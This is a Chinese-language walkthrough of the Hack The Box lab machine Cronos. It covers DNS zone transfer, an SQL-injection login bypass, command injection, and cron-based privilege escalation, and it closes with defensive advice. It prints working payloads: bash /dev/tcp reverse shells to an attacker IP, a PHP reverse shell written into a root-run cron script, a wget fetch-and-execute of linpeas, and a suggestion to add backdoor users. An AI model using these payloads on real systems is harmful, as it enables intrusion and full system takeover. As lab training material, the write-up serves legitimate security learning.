hack the box靶场练习之cronos
字数 1236 2025-08-11 17:40:19
Hack The Box靶场:Cronos渗透测试实战教学
1. 靶机信息概览
- 靶机名称: Cronos
- 难度等级: 中级
- 涉及技术: DNS枚举、SQL注入、命令注入、Cron任务提权
- 开放端口: 22(SSH)、53(DNS)、80(HTTP)
2. 初始信息收集
2.1 端口扫描
使用nmap进行初始扫描:
nmap -sV -p- 10.10.10.13
发现开放端口:
- 22/tcp - SSH
- 53/tcp - DNS
- 80/tcp - HTTP
2.2 DNS枚举
使用dig工具进行DNS区域传输攻击:
dig axfr cronos.htb @10.10.10.13
成功获取DNS记录后,发现以下子域名:
- admin.cronos.htb
- www.cronos.htb
将发现的域名添加到本地hosts文件:
echo "10.10.10.13 cronos.htb admin.cronos.htb www.cronos.htb" >> /etc/hosts
3. Web应用渗透
3.1 网站目录扫描
使用gobuster进行目录扫描:
gobuster dir -u http://cronos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
3.2 SQL注入攻击
访问admin.cronos.htb发现登录页面,尝试SQL注入:
- 使用万能密码绕过:
用户名: admin' or 1=1 -- 密码: 任意 - 成功登录后进入命令执行界面
3.3 命令注入获取初始shell
在命令执行界面尝试注入:
- 测试基本命令执行:
127.0.0.1; whoami - 建立反向shell连接:
- 攻击机监听:
nc -nlvp 1234 - 目标机执行:
127.0.0.1; bash -c 'bash -i >& /dev/tcp/攻击机IP/1234 0>&1'
- 攻击机监听:
- 获取低权限shell后,升级为完整TTY:
python -c 'import pty; pty.spawn("/bin/bash")'
4. 权限提升
4.1 信息收集
- 查找用户flag:
find / -name user.txt 2>/dev/null - 检查sudo权限:
sudo -l - 使用linpeas.sh进行自动化提权检测:
- 攻击机启动HTTP服务:
python3 -m http.server 8000 - 目标机下载并执行:
wget http://攻击机IP:8000/linpeas.sh -O /tmp/linpeas.sh chmod +x /tmp/linpeas.sh /tmp/linpeas.sh
- 攻击机启动HTTP服务:
4.2 Cron任务提权
-
发现root用户执行的定时任务:
cat /etc/crontab发现如下条目:
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1 -
检查/var/www/laravel目录权限:
ls -la /var/www/laravel发现当前用户有写权限
-
创建恶意artisan文件:
echo '<?php system("bash -c \'bash -i >& /dev/tcp/攻击机IP/4567 0>&1\'"); ?>' > artisan -
攻击机监听新端口:
nc -nlvp 4567 -
等待cron执行后获取root shell
-
获取root flag:
cat /root/root.txt
5. 技术要点总结
-
DNS区域传输漏洞:
- 使用dig工具测试DNS服务器是否允许区域传输
- 命令:
dig axfr 域名 @DNS服务器IP
-
SQL注入:
- 识别登录表单中的注入点
- 使用万能密码绕过认证:
admin' or 1=1 --
-
命令注入:
- 在可执行命令的输入点测试命令分隔符(;、&&、|等)
- 建立反向shell连接
-
Cron任务提权:
- 检查/etc/crontab文件
- 查找可写的cron任务脚本
- 替换脚本为恶意代码获取root权限
-
权限维持:
- 在获取root权限后,可考虑添加SSH密钥或创建后门用户
6. 防御建议
-
DNS安全:
- 禁用DNS区域传输或限制为可信IP
- 使用TSIG签名进行区域传输认证
-
Web应用安全:
- 使用参数化查询防止SQL注入
- 对用户输入进行严格过滤和转义
- 实施最小权限原则
-
系统安全:
- 定期审计cron任务和权限设置
- 确保关键目录和文件权限正确
- 使用文件完整性监控
-
日志监控:
- 监控异常登录和命令执行
- 设置警报机制检测可疑活动
通过本案例,我们学习了从信息收集到权限提升的完整渗透测试流程,重点掌握了DNS枚举、SQL注入、命令注入和Cron任务提权等技术。